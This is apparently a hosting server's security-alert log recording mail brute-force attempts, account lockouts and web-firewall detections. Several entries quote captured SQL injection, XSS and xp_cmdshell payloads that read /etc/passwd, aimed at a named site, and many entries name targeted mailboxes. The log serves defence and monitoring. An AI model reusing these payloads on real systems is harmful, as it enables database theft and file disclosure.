Feb  1 14:50:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.209.30
country_id: 1269750
description:
2026-02-01 14:50:50 dovecot_login authenticator failed for H=([125.18.43.161]) [128.185.209.30]:45362: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:50:03 dovecot_login authenticator failed for H=(V3Oss3) [158.94.208.175]:55344: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:51:13 dovecot_login authenticator failed for H=(CxpHQNSl7) [178.16.54.22]:52272: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.166
country_id: 2635167
description:
2026-02-01 14:51:23 227737 [Warning] Aborted connection 227737 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.42.222
country_id: 1819730
description:
2026-02-01 14:51:36 dovecot_login authenticator failed for H=222.42.246.220.static.netvigator.com [220.246.42.222]:60726: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:51:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:51:03 dovecot_login authenticator failed for H=(NC2nUOT) [178.16.52.139]:63161: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:51:21 dovecot_login authenticator failed for H=(CYBVJJ) [158.94.208.175]:57046: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:51:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64669: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.223.41.90
country_id: 1835841
description:
2026-02-01 14:51:48 dovecot_login authenticator failed for H=([211.223.41.90]) [211.223.41.90]:53754: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:51:58 dovecot_login authenticator failed for H=(IaHRt1KP) [178.16.52.139]:63093: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42106: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:52:23 dovecot_login authenticator failed for H=(4xXNn98) [158.94.208.175]:58542: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 14:52:53 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:52004: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:95658.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:abf029b18ac7d73cee5d1a3bbbc47ff7261827c1||Title:0xb557b547||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.198.129.123
country_id: 1819730
description:
2026-02-01 14:52:03 dovecot_login authenticator failed for H=123.129.198.203.static.netvigator.com [203.198.129.123]:58321: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=(GE3u9v4d) [178.16.52.139]:57813: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 14:52:08 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:49697: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:52:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54392: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible XSS in arguments||MV:8444 and 1=1 union all select 1,null,'<script>alert(\"xss\")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211190
name: IM360 WAF: Remote File Access Attempt
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Remote File Access Attempt||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.220.17.18
country_id: 2287781
description:
2026-02-01 14:52:31 dovecot_login authenticator failed for H=([102.220.17.17]) [102.220.17.18]:34776: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:EuHg||MV:8444 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:52:06 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:EuHg||MV:8444 and 1=1 union all select 1,null,'<script>alert(\"xss\")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../etc/passwd')#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.4.199.164
country_id: 1814991
description:
2026-02-01 14:53:12 dovecot_login authenticator failed for H=([122.4.199.164]) [122.4.199.164]:20775: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1) AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV)-- wKcY||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-02-01 14:53:39 dovecot_login authenticator failed for H=([125.22.140.89]) [122.187.222.54]:49392: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.101.122
country_id: 1814991
description:
2026-02-01 14:53:54 dovecot_login authenticator failed for H=([111.26.101.122]) [111.26.101.122]:42916: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:53:08 dovecot_login authenticator failed for H=(US34f5zg) [158.94.208.175]:62383: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1) and (select 1033 from (select(sleep(10)))ecuv)-- wkcy||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1) and (select 1033 from (select(sleep(10)))ecuv)-- wkcy||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.208.65.46
country_id: 2017370
description:
2026-02-01 14:53:45 dovecot_login authenticator failed for H=(est.giport.ru) [82.208.65.46]:2484: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:53:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50351: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:53:26 dovecot_login authenticator failed for H=(StxcCJ9Q) [178.16.54.22]:65189: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:53:50 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 14:53:56 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:47182: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 14:53:03 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:45068: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:53:24 dovecot_login authenticator failed for H=(CoBOmg) [178.16.52.139]:61054: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1) AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV)-- wKcY||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-02-01 14:53:35 227838 [Warning] Aborted connection 227838 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-02-01 14:53:46 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:46284: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:54:21 dovecot_login authenticator failed for H=(EFFoQPp4W) [178.16.52.139]:58378: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1\" AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV) AND \"yvqM\" LIKE \"yvqM||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:54:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56662: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1\" and (select 1033 from (select(sleep(10)))ecuv) and \"yvqm\" like \"yvqm||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:54:17 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35298: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:54:19 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1\" AND (SELECT 1033 FROM (SELECT(SLEEP(10)))ecuV) AND \"yvqM\" LIKE \"yvqM||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1\" and (select 1033 from (select(sleep(10)))ecuv) and \"yvqm\" like \"yvqm||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:54:11 dovecot_login authenticator failed for H=(AsASL87) [158.94.208.175]:52288: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:55:06 dovecot_login authenticator failed for H=(aHHNzqA) [178.16.52.139]:64515: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1)) and sleep(10) and ((9337 between 9337 and 9337||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:55:25 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:55:37 dovecot_login authenticator failed for H=(ZwjQAU5lqc) [178.16.54.22]:54777: 535 Incorrect authentication data (set_id=enquiry)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1)) AND SLEEP(10) AND ((9337 BETWEEN 9337 AND 9337||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1)) AND SLEEP(10) AND ((9337 BETWEEN 9337 AND 9337||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1)) and sleep(10) and ((9337 between 9337 and 9337||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:55:07 dovecot_login authenticator failed for H=(zSARbExO) [158.94.208.175]:61500: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:55:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:56:09 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1' OR SLEEP(10) AND 'rjoB'='rjoB||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1' or sleep(10) and 'rjob'='rjob||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e985eb6eb1152e8901f718301e73dd97e6ffa5db||Title:0x576c6a97||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:56:03 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57449: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1' OR SLEEP(10) AND 'rjoB'='rjoB||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:56:25 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55944: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:56:11 dovecot_login authenticator failed for H=(gB2kt1XE3) [178.16.52.139]:55231: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:56:26 dovecot_login authenticator failed for H=(kaUJKwlAmz) [158.94.208.175]:51724: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:56:11 dovecot_login authenticator failed for H=(n6opOawTV) [178.16.52.139]:64560: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1' or sleep(10) and 'rjob'='rjob||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 14:57:41 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:40742: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:57:40 dovecot_login authenticator failed for H=(Dlqaqkqp) [178.16.54.22]:53553: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:57:01 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63545: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1 OR SLEEP(10)#||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 14:57:15 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:44708: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:57:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:57:04 dovecot_login authenticator failed for H=(TGbqp4) [178.16.52.139]:53888: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1 or sleep(10)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:57:13 dovecot_login authenticator failed for H=(6D9VyyC) [158.94.208.175]:57405: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 209.198.132.228
country_id: 69543
domain: sutsb.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.sutsb.com.my||ServerName:sutsb.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b2cea76cd575614dda528af2b522d4bb55f856d4||Title:0x328fae7b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:58:21 dovecot_login authenticator failed for H=(y9h2ECq) [178.16.54.22]:59709: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:58:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.79.108.51
country_id: 2017370
description:
2026-02-01 14:58:22 dovecot_login authenticator failed for H=(dynamicip-95-79-108-51.pppoe.nn.ertelecom.ru) [95.79.108.51]:56703: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQLi in arguments||MVN:ARGS:key||MV:1\")) or (select 2309 from (select(sleep(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:key||MV:1\")) OR (SELECT 2309 FROM (SELECT(SLEEP(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350224
name: IM360 WAF: Common DB Name in Request
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Common DB Name in Request||MVN:ARGS:key||MV:1) AND 2491 BETWEEN (SELECT AND (SELECTCOUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- UuUY||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: PHP Injection Low value||MV:1\")) OR (SELECT 2309 FROM (SELECT(SLEEP(10)))lkox)#||MVN:ARGS:key||RSV:7.71||T:APACHE||SC:/home/pftfood/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:58:17 dovecot_login authenticator failed for H=(0Sb5Jg) [178.16.52.139]:62464: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77211630
name: IM360 WAF: Detects blind sqli tests using sleep() or benchmark()
abuser: 172.238.255.154
country_id: 2661886
domain: www.pftfood.com
description:
IM360 WAF: Detects blind sqli tests using sleep() or benchmark()||MVN:MATCHED_VAR||MV:1\")) or (select 2309 from (select(sleep(10)))lkox)#||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:58:26 dovecot_login authenticator failed for H=(uyFxlp) [158.94.208.175]:60735: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 14:58:31 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:36490: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:58:31 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58036: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:58:33 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:60528: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.166
country_id: 2635167
description:
2026-02-01 14:59:07 228240 [Warning] Aborted connection 228240 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.166' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:59:58 dovecot_login authenticator failed for H=(Fop2m4Lak) [178.16.52.139]:54189: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: modsec
rule: 77093094
abuser: 85.11.167.4
country_id: 732800
domain: wcc.com.my
description:
